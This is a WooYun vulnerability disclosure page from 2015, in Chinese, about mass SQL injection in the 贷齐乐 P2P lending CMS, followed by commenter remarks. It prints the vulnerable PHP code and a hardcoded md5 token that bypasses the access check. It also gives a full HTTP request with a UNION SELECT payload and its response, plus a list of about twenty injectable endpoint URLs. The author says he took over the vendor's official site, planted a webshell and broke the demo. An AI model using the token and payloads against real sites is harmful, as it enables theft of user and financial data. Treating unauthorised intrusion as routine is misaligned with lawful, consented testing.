当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(34) 关注此漏洞

缺陷编号: WooYun-2015-132687

漏洞标题: 贷齐乐某处设计缺陷导致大面积注入(案例测试)

相关厂商: chinaanhe.com

漏洞作者: ′雨。认证白帽子

提交时间: 2015-08-10 10:54

公开时间: 2015-11-08 11:18

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-10: 细节已通知厂商并且等待厂商处理中
2015-08-10: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-04: 细节向核心白帽子及相关领域专家公开
2015-10-14: 细节向普通白帽子公开
2015-10-24: 细节向实习白帽子公开
2015-11-08: 细节向公众公开

简要描述:

可怕, 都没wb玩众测了, 看这个厂商还在上首页

大概看一眼, 赚点wb。

无需登录。直接出数据。

P.S. 直接把官网拿了, 一进去就看到一个大大的wooyun.php 在代码审计的时候 没代码 就直接在官网上调试代码。。 调试着发现我的马儿突然404了。。 不知道是乌云的小伙伴给我删了 还是管理给我删了。 然后因为我添加的测试代码我自己来得及删除, 导致现在demo都打不开了, 官网可以自己改回去一下,或者联系我帮改一下。

详细说明:

port目录下 首先随便看这目录下的这个文件

/port/limitApp.php

code 区域
include("../core/config.inc.php");
include("ch_json_encode.php");
include_once("../modules/borrow/borrow.class.php");
/* ¶î¶ÈÉêÇë
* 2014Äê1ÔÂ20ÈÕ 10:20:57 ÎéÐûÓî
* ´«Èë²ÎÊý£ºÓû§ID£ºuser_id ¶î¶È£ºaccount ÉêÇëÀàÐÍ£ºtype ÉêÇëÄÚÈÝ£ºcontent ±¸×¢£ºremark
* ·µ»Ø²ÎÊý£ºapp_status³É¹¦1 app_statusʧ°Ü0 app_statusÒ»Ôºó-1 app_statusÒ»Ôºó-2
*/
global $mysql;
$ssql = "select * from `{system}` where nid='con_phonecode'";
$system = $mysql->db_fetch_array($ssql);



$ctstr=md5($system['value']);//md5


if($_REQUEST['dcode']!==$ctstr){ // 这里验证了一下 查询出来的
echo "¸ÃÒ³ÎÞ·¨ÏÔʾ£¡";
exit;

}
$data['account'] = $_REQUEST['account'];
$data['content'] = $_REQUEST['content'];
$data['type'] = $_REQUEST['type'];
$data['remark'] = $_REQUEST['remark'];
$data['user_id'] = $_REQUEST['user_id'];
$result = borrowClass::GetAmountApplyOne(array("user_id" => $data['user_id'], "type" => $data['type']));
if ($result != false && $result['verify_time'] + 60 * 60 * 24 * 30 > time()) {
$return_json['app_status'] = -1;
} elseif ($result != false && $result['addtime'] + 60 * 60 * 24 * 30 > time() && $result['status'] == 2) {
$return_json['app_status'] = -2;





这里对查询出来的 MD5进行了验证



本来我还以为是随机的 结果是固定的。。

所有的都是shoujimd5



然后再进行md5一次 得到 7d5372bbcd6cc79f1bd71211f092622e



我们先测试一下demo



直接访问 **.**.**.**:10021/port/setPassword.php

返回 该页无法显示!



再访问 **.**.**.**:10021/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



返回 {"set_status":"-1"}



说明过了这个验证 为了说明这个是固定的 再找几个官网上的成功案例测试一下



http://**.**.**.**/anli/index.html 来到官网的成功案例来找



http://**.**.**.**/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



http://**.**.**.**/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



http://**.**.**.**/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e



都返回了 并没有错误 说明是成功的 是固定的



再继续看代码

code 区域
$data['account'] = $_REQUEST['account'];
$data['content'] = $_REQUEST['content'];
$data['type'] = $_REQUEST['type'];
$data['remark'] = $_REQUEST['remark'];
$data['user_id'] = $_REQUEST['user_id'];
$result = borrowClass::GetAmountApplyOne(array("user_id" => $data['user_id'], "type" => $data['type']));





http://**.**.**.**//port/limitApp.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



数字型的 无视GPC了



MySQL错误信息:Unknown column 'x' in 'where clause'执行SQL语句错误!select p1.*,p2.username from `dw_user_amountapply` as p1 left join `dw_user` as p2 on p1.user_id=p2.user_id where 1=1 and p1.user_id=x order by p1.id desc



再继续看getLinkageOne.php





code 区域
$ssql = "select * from `{system}` where nid='con_phonecode'";
$system = $mysql->db_fetch_array($ssql);



$ctstr=md5($system['value']);


if($_REQUEST['dcode']!==$ctstr){
echo "该页无法显示!";
exit;

}

$_sql = " where 1=1 ";
if (isset($_REQUEST['id']) && $_REQUEST['id'] != "") {
$_sql .= " and p1.id = '{$_REQUEST['id']}'";
}
if (isset($_REQUEST['value']) && $_REQUEST['value'] != "") {
$_sql .= " and p1.value = '{$_REQUEST['value']}'";
}


$sql = "select p1.id,p1.type_id,p1.name,p1.value from {linkage} as p1
left join {linkage_type} as p2 on p1.type_id=p2.id
{$_sql} order by p1.order desc,p1.id";







因为这request获取的是request url 导致了我们直接在浏览器中提交被urlencode



所以换burp提交把



POST ///port/getLinkageOne.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=1' and 0 union select 1,current_user,3,4# HTTP/1.1

Host: **.**.**.**

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Cookie: PHPSESSID=jjc6csk3leb1163n4ckggolsm4

Content-Length: 12



name=xxx





返回



HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Sat, 08 Aug 2015 07:58:10 GMT

Content-Type: text/html;charset=GB2312

Connection: keep-alive

Content-Length: 62



[{"id":"1","type_id":"root@localhost","name":"3","value":"4"}]







大面积注入 剩下的就不分析了



/port/limitApp.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



**.**.**.**:10021/port/setUserinfo.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



/port/setAuto.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=1x



/port/login.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&username=xx'&password=xxx



GET /port/cashCancel.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=a' HTTP/1.1



/port/setUserBank.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x



GET /port/cashNew.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=a' HTTP/1.1



/port/setPassword.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x'



GET /port/delAuto.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=a' HTTP/1.1



/port/setMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&id=x'&type=



/port/delFriend.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&friend_username=a'





/port/delMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&sent_user=a'







**.**.**.**:10021/port/tender.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=1asd





/port/userreg.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&username=a'





**.**.**.**:10021/port/tenderLiuzhuan.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&user_id=x'



/port/sentMessage.php?dcode=7d5372bbcd6cc79f1bd71211f092622e&receive_user=x'





给个地址 不分析了

漏洞证明:

如上。

修复方案:

随机生成



加intval?

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-10 11:16

厂商回复:

感谢测试

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-10 10:56 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    膜拜!

  2. 2015-08-10 11:04 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    膜拜!

  3. 2015-08-10 11:04 | 牛 小 帅 ( 普通白帽子 | Rank:1470 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    高产 贷齐乐的漏洞都是首页啊

  4. 2015-08-10 11:16 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    , 审核都不看漏洞的留言吗? 都留言了说别通过了 哎。。

  5. 2015-08-10 11:23 | 泪雨无魂 ( 普通白帽子 | Rank:303 漏洞数:70 | too young too simple)
    0

    膜拜!

  6. 2015-08-10 11:25 | 牛 小 帅 ( 普通白帽子 | Rank:1470 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    有钱

  7. 2015-08-10 11:35 | scanf ( 核心白帽子 | Rank:1457 漏洞数:207 | 。)
    0

    233333333

  8. 2015-08-10 11:51 | 小川 认证白帽子 ( 核心白帽子 | Rank:1583 漏洞数:236 | 一个致力要将乌云变成搞笑论坛的男人)
    0

    雨神也玩众测,让不让人活了....

  9. 2015-08-10 11:57 | 刘海哥 ( 普通白帽子 | Rank:135 漏洞数:30 | 索要联系方式但不送礼物的厂商定义为无良厂...)
    0

    雨神也玩众测,让不让人活了.... 能把我分配和小学生一组?

  10. 2015-08-13 14:29 | 路人癸 ( 路人 | Rank:4 漏洞数:2 | 随意路过)
    0

    官网是不是被人玩坏了。。

  11. 2015-08-16 09:34 | 路人毛 ( 普通白帽子 | Rank:109 漏洞数:44 | 要想Rank给高,标题一定得屌)
    0

    ID为何这么相似

  12. 2015-11-08 11:34 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    p2p网贷

登录后才能发表评论,请先 登录